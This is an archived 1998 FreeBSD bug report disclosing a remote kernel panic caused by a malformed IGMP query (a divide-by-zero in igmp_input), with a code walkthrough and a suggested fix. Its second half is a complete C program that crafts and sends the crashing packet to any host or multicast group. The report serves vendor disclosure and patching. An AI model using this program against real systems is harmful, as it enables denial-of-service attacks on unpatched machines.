Date: Sun, 6 Dec 1998 19:30:26 +0100 (MET) From: Jean-Luc Richier <Jean-Luc.Richier@imag.fr> To: FreeBSD-gnats-submit@FreeBSD.ORG Cc: Jean-Luc.Richier@imag.fr, dupont@inria.fr Subject: kern/8990: Can cause remote panics Message-ID: <199812061830.TAA22239@horus.imag.fr>
next in thread | raw e-mail | index | archive | help
>Number: 8990 >Category: kern >Synopsis: Can crash most FreeBSD system from away >Confidential: yes >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Dec 6 10:40:00 PST 1998 >Last-Modified: >Originator: Jean-Luc Richier >Organization: IMAG - France >Release: FreeBSD 3.0-RELEASE i386 >Environment: >Description: One can crash any FreeBSD system with active multicast listening by sending it a incorrect IGMP packet from an other machine. This cause a panic `divide by zero in kernel mode' The bug in present in any FreeBSD kernel compiled with INET, from at least 2.5 to current. It is due to an error in the generic igmp V2 support. The active multicast can be either a multicast session, or a running routed -s daemon (due to router discovery and RIP v2) This allows an active denial of service attack against systems. >How-To-Repeat: 1/ Take a machine listening to mulicast : either run `routed -s', or subscribe to a multicast group (using mtest, for exemple) 2/ Send the following IGMP packet to this machine : type = IGMP igmp_type = 0x11 (QUERY) igmp_code = 1 (igmp v2 timeout 1/10 s) <<<-- THE BUG igmp_cksum = 0xeefe (normal value) igmp_group = 0 (normal value) This packet can be sent using multicast (except for the igmp_code value, it is a normal mrouted packet), or using anycast from away. I append a modified ping to do this. The igmp_code value means: response delay 1/10 s, which is much too small according to classic mrouted (normally it is 10s). 3/ On receipt the igmp_input kernel function will panic due to a divide by 0 : ->void ->igmp_input(m, iphlen) ... -> int timer; /** timer value in the igmp query header **/ ... -> ip = mtod(m, struct ip *); -> timer = igmp->igmp_code * PR_FASTHZ / IGMP_TIMER_SCALE; !!!! TIMER is 1/0, that is 0 !!! .... -> switch (igmp->igmp_type) { -> -> case IGMP_MEMBERSHIP_QUERY: .... -> if (igmp->igmp_code == 0) { .... -> } else { -> /* -> * New router. Simply do the new validity check. -> */ .... -> IN_FIRST_MULTI(step, inm); -> while (inm != NULL) { !!! there is muticast groups -> if (inm->inm_ifp == ifp && -> inm->inm_addr.s_addr != igmp_all_hosts_group && -> (igmp->igmp_group.s_addr == 0 || -> igmp->igmp_group.s_addr == inm->inm_addr.s_addr)) { -> if (inm->inm_timer == 0 || -> inm->inm_timer > timer) { -> inm->inm_timer = -> IGMP_RANDOM_DELAY(timer); !!!!!!!!!! that is, ((random() % 0) +1), a divide by 0 panic -> igmp_timers_are_running = 1; >Fix: One can add a check that the igmp_code value is big enough (is too small an error ??) or add a test `if (timer == 0) timer = 1; '' Notes 1/ This error is present in the generic ipmulti code (cf mrouted distribution on parcftp.xerox.com). The bug is also present in NetBSD, and certainly other systems. 2/ This but has been detected a few days ago in the equivalent IPv6 code during interoperability testings and the corresponding panic has been signaled in ipng mailing lists. ------------ Program to send the igmp packet --------- ---- use `a.out machine' or `a.out 224.0.0.1' or `a.out mult_group' /* derived for ping.c */ #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdlib.h> #include <err.h> #ifdef sgi #include <bstring.h> #include <getopt.h> #include <sys/prctl.h> #endif #include <netinet/in_systm.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/ip_var.h> #include <arpa/inet.h> #include <ctype.h> #include <netdb.h> #define F_SOURCE_ROUTE 0x0020 /* loose source route */ #define F_SOURCE_ADDR 0x0800 /* set source IP address/interface */ #define F_MCAST 0x2000 /* multicast target */ #define F_MCAST_NOLOOP 0x4000 /* no multicast loopback */ u_char *packet; int packlen; int pingflags = 0; char *fill_pat; int s; /* Socket file descriptor */ struct sockaddr_in whereto, send_addr; /* Who to ping */ struct sockaddr_in src_addr; /* from where */ struct sockaddr_in loc_addr; /* 127.1 */ int datalen; /* How much data */ #ifdef sgi static char *__progname; #else extern char *__progname; #endif char hostname[MAXHOSTNAMELEN]; static struct { struct ip o_ip; struct icmp u_icmp; } out_pack; struct ip *opack_ip; #define opack_icmp out_pack.u_icmp static void pinger(void); static u_short in_cksum(u_short *, u_int); static void gethost(const char *, const char *, struct sockaddr_in *, char *, int); static void usage(void); int main(int argc, char *argv[]) { int c, i, on = 1; int cc, sw; long l; u_char ttl = 0; char *p; while ((c = getopt(argc, argv, "I:T:")) != -1) { switch (c) { case 'T': l = strtol(optarg, &p, 0); if (*p != '\0' || l > 255 || l <= 0) errx(1, "ttl out of range"); ttl = (u_char)l; /* cannot check >255 otherwise */ break; case 'I': pingflags |= F_SOURCE_ADDR; gethost("-I", optarg, &src_addr, 0, 0); break; default: usage(); break; } } if (optind != argc-1) usage(); gethost("", argv[optind], &whereto, hostname, sizeof(hostname)); if (IN_MULTICAST(ntohl(whereto.sin_addr.s_addr))) pingflags |= F_MCAST; if (!(pingflags & F_SOURCE_ROUTE)) (void) memcpy(&send_addr, &whereto, sizeof(send_addr)); loc_addr.sin_family = AF_INET; loc_addr.sin_addr.s_addr = htonl((127<<24)+1); packlen = datalen + 60 + 76; /* MAXIP + MAXICMP */ if ((packet = (u_char *)malloc(packlen)) == NULL) err(1, "Out of memory"); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)) < 0) err(1, "Cannot create socket"); /* this leaves opack_ip 0(mod 4) aligned */ opack_ip = &out_pack.o_ip; if (setsockopt(s,IPPROTO_IP,IP_HDRINCL, (char *) &on, sizeof(on)) < 0) err(1, "Can't set special IP header"); opack_ip->ip_v = IPVERSION; opack_ip->ip_hl = (sizeof(struct ip)) >> 2; opack_ip->ip_tos = 0; opack_ip->ip_off = 0; opack_ip->ip_ttl = ttl ? ttl : MAXTTL; opack_ip->ip_p = IPPROTO_IGMP; opack_ip->ip_src = src_addr.sin_addr; opack_ip->ip_dst = send_addr.sin_addr; if (pingflags & F_MCAST) { if (pingflags & F_MCAST_NOLOOP) { u_char loop = 0; if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_LOOP, (char *) &loop, 1) < 0) err(1, "Can't disable multicast loopback"); } if (ttl != 0 && setsockopt(s, IPPROTO_IP, IP_MULTICAST_TTL, (char *) &ttl, 1) < 0) err(1, "Can't set multicast time-to-live"); if ((pingflags & F_SOURCE_ADDR) && setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, (char *) &src_addr.sin_addr, sizeof(src_addr.sin_addr)) < 0) err(1, "Can't set multicast source interface"); } else if (pingflags & F_SOURCE_ADDR) { if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, (char *) &src_addr.sin_addr, sizeof(src_addr.sin_addr)) < 0) err(1, "Can't set source interface/address"); } opack_icmp.icmp_code = 1; /* !!! */ opack_icmp.icmp_type = 0x11; for (i = 0; i < 4; i++) opack_icmp.icmp_data[i] = 0; cc = 8; opack_icmp.icmp_cksum = 0; opack_icmp.icmp_cksum = in_cksum((u_short*)&opack_icmp, cc); cc += opack_ip->ip_hl<<2; opack_ip->ip_len = cc; i = sendto(s, (char *) opack_ip, cc, 0, (struct sockaddr *)&send_addr, sizeof(struct sockaddr_in)); if (i != cc) { if (i < 0) warn("sendto"); else warnx("wrote %s %d chars, ret=%d", hostname, cc, i); (void)fflush(stderr); } } /* Compute the IP checksum * This assumes the packet is less than 32K long. */ static u_short in_cksum(u_short *p, u_int len) { u_int sum = 0; int nwords = len >> 1; while (nwords-- != 0) sum += *p++; if (len & 1) { union { u_short w; u_char c[2]; } u; u.c[0] = *(u_char *)p; u.c[1] = 0; sum += u.w; } /* end-around-carry */ sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum); } static void gethost(const char *arg, const char *name, struct sockaddr_in *sa, char *realname, int realname_len) { struct hostent *hp; (void)memset(sa, 0, sizeof(*sa)); sa->sin_family = AF_INET; if (inet_aton(name, &sa->sin_addr) != 0) { return; } hp = gethostbyname(name); if (!hp) errx(1, "Cannot resolve \"%s\" (%s)",name,hstrerror(h_errno)); if (hp->h_addrtype != AF_INET) errx(1, "%s only supported with IP", arg); (void)memmove(&sa->sin_addr, hp->h_addr, sizeof(sa->sin_addr)); } static void usage(void) { (void)fprintf(stderr, "Usage: \n" "%s [-T ttl] [-I addr] host\n", __progname); exit(1); } -- Jean-Luc RICHIER (Jean-Luc.Richier@Imag.Fr richier@imag.fr) Laboratoire Logiciels, Systemes et Reseaux (LSR-IMAG) IMAG-CAMPUS, BP 72, F-38402 St Martin d'Heres Cedex Tel : +33 4 76 82 72 32 Fax : +33 4 76 82 72 87 >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199812061830.TAA22239>